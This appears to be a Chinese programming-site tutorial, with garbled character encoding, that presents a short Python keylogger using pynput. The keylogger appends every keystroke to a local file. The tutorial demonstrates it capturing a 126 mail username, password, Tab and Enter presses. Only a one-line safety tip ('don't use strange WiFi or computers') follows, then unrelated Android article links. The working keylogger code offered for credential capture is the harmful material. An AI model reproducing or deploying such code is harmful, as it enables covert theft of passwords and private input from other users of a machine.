python只需30行代碼就能記錄鍵盤的一舉一動(dòng)
先看看效果
Like This↓

一、公共WiFi 公用電腦什么的
在我們?nèi)粘T诰€上工作、玩耍時(shí),不論開電腦、登錄淘寶、玩網(wǎng)游
統(tǒng)統(tǒng)都會(huì)用到鍵盤輸入
在幾乎所有網(wǎng)站,例如淘寶、百度、126郵箱等等
為了保護(hù)用戶信息
登錄時(shí),輸入框都是不可見的。
但是,輸入框都在界面上隱藏,讓我們看不到,就能真正的確保萬無一失嗎?

二、鍵盤記錄器
今天介紹一種,通過鍵盤記錄的方法,獲取用戶通過鍵盤輸入的所有信息。
并實(shí)現(xiàn)獲取126郵箱的登錄用戶信息。

三、python代碼實(shí)現(xiàn)
1、安裝pynput模塊
PS C:\WINDOWS\system32> pip install pynput Collecting pynput
Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
|████████████████████████████████| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>

2、腳本完整代碼
# -*- coding:utf-8 -*-
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
string = str(key).replace("'","")
def on_release(key):
global keys
string = str(key).replace("'","")
keys.append('\r'+string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('D:\keys.txt', 'a') as f:
f.write(main_string)
keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
3、啟動(dòng)腳本
將腳本放置在電腦的某個(gè)路徑下,運(yùn)行該程序;所有的鍵盤輸入,都會(huì)被記錄在相同目錄下的keys.txt文檔中。
PS D:\test> python .\keyRecord.py

4、登錄126郵箱 抓取用戶信息
在腳本運(yùn)行狀態(tài)下,登錄126郵箱,可以看到,通過鍵盤輸入的信息都被寫入到了keys.txt文檔中,包括用戶名輸完之后的tab按鈕和確定enter登錄按鈕

四、安全提示
陌生WiFi不要隨便連
陌生電腦不要隨便用
emmmm~~~~
到此這篇關(guān)于python只需30行代碼就能記錄鍵盤的一舉一動(dòng)的文章就介紹到這了,更多相關(guān)python記錄鍵盤內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Android仿淘寶詳情頁面viewPager滑動(dòng)到最后一張圖片跳轉(zhuǎn)的功能
需要做一個(gè)仿淘寶客戶端ViewPager滑動(dòng)到最后一頁,再拖動(dòng)的時(shí)候跳到詳情的功能,剛開始我也迷糊了,通過查閱相關(guān)資料發(fā)現(xiàn)有好多種實(shí)現(xiàn)方法,下面小編給大家分享實(shí)例代碼,感興趣的朋友一起看看吧2017-03-03
Android實(shí)現(xiàn)QQ新用戶注冊(cè)界面遇到問題及解決方法
這篇文章主要介紹了Android實(shí)現(xiàn)QQ新用戶注冊(cè)界面遇到問題及解決方法,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下2016-09-09
Flutter 滾動(dòng)監(jiān)聽及實(shí)戰(zhàn)appBar滾動(dòng)漸變的實(shí)現(xiàn)
這篇文章主要介紹了Flutter 滾動(dòng)監(jiān)聽及實(shí)戰(zhàn)appBar滾動(dòng)漸變,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-09-09
Android Studio 設(shè)置代碼提示和代碼自動(dòng)補(bǔ)全快捷鍵方式
這篇文章主要介紹了Android Studio 設(shè)置代碼提示和代碼自動(dòng)補(bǔ)全快捷鍵方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-03-03
Android軟件啟動(dòng)動(dòng)畫及動(dòng)畫結(jié)束后跳轉(zhuǎn)的實(shí)現(xiàn)方法
這篇文章主要介紹了Android軟件啟動(dòng)動(dòng)畫及動(dòng)畫結(jié)束后跳轉(zhuǎn)的實(shí)現(xiàn)方法,實(shí)例分析了Android圖片播放及定時(shí)器的相關(guān)使用技巧,非常具有使用價(jià)值,需要的朋友可以參考下2015-10-10
Android自定義照相機(jī)倒計(jì)時(shí)拍照
本文給大家介紹Android自定義照相機(jī),并且實(shí)現(xiàn)倒計(jì)時(shí)拍照功能,對(duì)android自定義照相機(jī)相關(guān)知識(shí)感興趣的朋友一起學(xué)習(xí)吧2015-12-12

